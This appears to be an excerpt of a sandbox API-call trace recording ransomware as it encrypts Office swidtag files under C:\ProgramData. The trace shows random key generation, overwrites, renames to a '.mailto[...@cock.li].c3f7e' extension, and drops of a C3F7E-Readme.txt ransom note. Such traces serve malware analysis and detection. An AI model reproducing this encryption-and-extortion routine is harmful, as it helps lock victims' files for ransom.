	[0081.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0081.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb1) returned 0x476af28
	[0081.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf58
	[0081.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0081.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0081.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0081.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb1) returned 0x476b528
	[0081.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0081.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf58) returned 1
	[0081.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x195) returned 0x2e02570
	[0081.510] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.510] WriteFile (in: hFile=0x1424, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x195, lpNumberOfBytesWritten=0xedbfcd8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0xedbfcd8*=0x195, lpOverlapped=0x0) returned 1
	[0081.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b528) returned 1
	[0081.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476af28) returned 1
	[0081.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0081.512] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2e02570
	[0081.512] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag"
	[0081.512] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.512] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xedbfc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.512] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x158) returned 0x2d88cb8
	[0081.512] NtSetInformationFile (FileHandle=0x1424, IoStatusBlock=0xedbfc88, FileInformation=0x2d88cb8, Length=0x158, FileInformationClass=0xa) returned 0x0
	[0081.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88cb8) returned 1
	[0081.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0081.513] NtQueryInformationFile (in: FileHandle=0x1424, IoStatusBlock=0xedbfc9c, FileInformation=0xedbfc74, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xedbfc9c, FileInformation=0xedbfc74) returned 0x0
	[0081.513] NtSetInformationFile (FileHandle=0x1424, IoStatusBlock=0xedbfc9c, FileInformation=0xedbfc74, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0081.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.514] FlushFileBuffers (hFile=0x1424) returned 1
	[0081.515] CloseHandle (hObject=0x1424) returned 1
	[0081.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498c580
	[0081.516] wcscpy (in: _Dest=0x498c580, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0081.516] wcscat (in: _Dest=0x498c580, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt"
	[0081.516] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\c3f7e-readme.txt")) returned 0x20
	[0081.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498c580) returned 1
	[0081.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d867b8) returned 1

Thread:
	id = 347
	os_tid = 0x1494

	[0076.890] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag")) returned 0x20
	[0079.911] SetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", dwFileAttributes=0x20) returned 1
	[0079.912] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1348
	[0079.912] GetFileSizeEx (in: hFile=0x1348, lpFileSize=0xee3fe48 | out: lpFileSize=0xee3fe48*=1068) returned 1
	[0079.912] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x428, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.912] ReadFile (in: hFile=0x1348, lpBuffer=0xee3fdcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xee3fdc8, lpOverlapped=0x0 | out: lpBuffer=0xee3fdcc*, lpNumberOfBytesRead=0xee3fdc8*=0x4, lpOverlapped=0x0) returned 1
	[0079.913] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0079.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0079.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0079.914] NtQuerySystemTime (in: CurrentTime=0xee3fda8 | out: CurrentTime=0xee3fda8*=132251868066556912) returned 0x0
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x300a105c
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xad560d4f
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x758bc661
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xdf14ccde
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x48b58dbd
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x81de10f7
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xd3424aac
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xe31a650c
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x190ab958
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x62dd35af
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xf3dc0f02
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x3d6525e0
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x9fb9c7aa
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xe797b2c4
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x1583233d
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x39e0ac18
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x290625e
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xbc91b0c
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x156ed61d
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x3733f209
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x57be9e33
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x45c64fec
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xba866184
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x17c68a28
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0xa4f137c5
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x2ed1e8bf
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x7e81ef3c
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x466d9fe8
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x9a005165
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x81235ae
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x649c5026
	[0079.914] RtlRandom (in: Seed=0xee3fdb4 | out: Seed=0xee3fdb4) returned 0x229f6bb
	[0079.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0079.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0079.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0079.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0079.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0079.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0079.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb540
	[0079.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0079.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0079.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0079.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0079.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0079.924] ReadFile (in: hFile=0x1348, lpBuffer=0x4978038, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0xee3fda4, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesRead=0xee3fda4*=0x42c, lpOverlapped=0x0) returned 1
	[0079.924] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.924] WriteFile (in: hFile=0x1348, lpBuffer=0x4eeb010*, nNumberOfBytesToWrite=0x42c, lpNumberOfBytesWritten=0xee3fda0, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesWritten=0xee3fda0*=0x42c, lpOverlapped=0x0) returned 1
	[0080.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0080.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0080.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0080.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0080.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0080.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0080.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa9) returned 0x2dda900
	[0080.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb4b0
	[0080.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0080.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0080.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa9) returned 0x2ddabe0
	[0080.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0080.152] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0080.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0080.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb4b0) returned 1
	[0080.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18d) returned 0x4790c50
	[0080.153] SetFilePointerEx (in: hFile=0x1348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.153] WriteFile (in: hFile=0x1348, lpBuffer=0x4790c50*, nNumberOfBytesToWrite=0x18d, lpNumberOfBytesWritten=0xee3fe08, lpOverlapped=0x0 | out: lpBuffer=0x4790c50*, lpNumberOfBytesWritten=0xee3fe08*=0x18d, lpOverlapped=0x0) returned 1
	[0080.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790c50) returned 1
	[0080.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddabe0) returned 1
	[0080.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0080.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dda900) returned 1
	[0080.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0080.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0080.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0080.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0080.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x4790c50
	[0080.221] wcscpy (in: _Dest=0x4790c50, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag"
	[0080.221] wcscat (in: _Dest=0x4790c50, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.221] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xee3fdc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x150) returned 0x2d88cb8
	[0080.221] NtSetInformationFile (FileHandle=0x1348, IoStatusBlock=0xee3fdb8, FileInformation=0x2d88cb8, Length=0x150, FileInformationClass=0xa) returned 0x0
	[0080.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88cb8) returned 1
	[0080.282] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0080.282] NtQueryInformationFile (in: FileHandle=0x1348, IoStatusBlock=0xee3fdcc, FileInformation=0xee3fda4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xee3fdcc, FileInformation=0xee3fda4) returned 0x0
	[0080.282] NtSetInformationFile (FileHandle=0x1348, IoStatusBlock=0xee3fdcc, FileInformation=0xee3fda4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0080.283] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790c50) returned 1
	[0080.283] FlushFileBuffers (hFile=0x1348) returned 1
	[0080.284] CloseHandle (hObject=0x1348) returned 1
	[0080.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498d1b8
	[0080.285] wcscpy (in: _Dest=0x498d1b8, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0080.285] wcscat (in: _Dest=0x498d1b8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt"
	[0080.285] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.285] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1348
	[0080.285] WriteFile (in: hFile=0x1348, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xee3fdc8, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xee3fdc8*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.286] CloseHandle (hObject=0x1348) returned 1
	[0080.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d1b8) returned 1
	[0080.287] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790de8) returned 1

Thread:
	id = 348
	os_tid = 0x1498

	[0076.891] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag")) returned 0x20
	[0081.435] SetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", dwFileAttributes=0x20) returned 1
	[0081.449] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1424
	[0081.449] GetFileSizeEx (in: hFile=0x1424, lpFileSize=0xeebfe88 | out: lpFileSize=0xeebfe88*=1071) returned 1
	[0081.449] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x42b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.449] ReadFile (in: hFile=0x1424, lpBuffer=0xeebfe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xeebfe08, lpOverlapped=0x0 | out: lpBuffer=0xeebfe0c*, lpNumberOfBytesRead=0xeebfe08*=0x4, lpOverlapped=0x0) returned 1
	[0081.455] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ca8
	[0081.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c30
	[0081.455] NtQuerySystemTime (in: CurrentTime=0xeebfde8 | out: CurrentTime=0xeebfde8*=132251868081869291) returned 0x0
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x803d9b50
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x5251309
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x9365dfad
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xc1317670
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x3de0468e
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xd5711878
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x4c991c1
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x717a37b1
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x3a6e44f7
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xa3d8e4de
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x17c5e737
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xba19a58e
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xa9238a72
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x103f520f
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x553b5a57
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x7a38836d
	[0081.455] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xa720b515
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x401b10c2
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x9082c851
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x919d04a2
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x41b8548a
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xdd094bc8
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x237ebcd4
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x607c2f0f
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x6e17ecf3
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x392dffd2
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xd432732c
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xe9cbaf0d
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xb442165f
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x1fec8b3a
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0x9e98311e
	[0081.456] RtlRandom (in: Seed=0xeebfdf4 | out: Seed=0xeebfdf4) returned 0xe6bed877
	[0081.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04978
	[0081.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
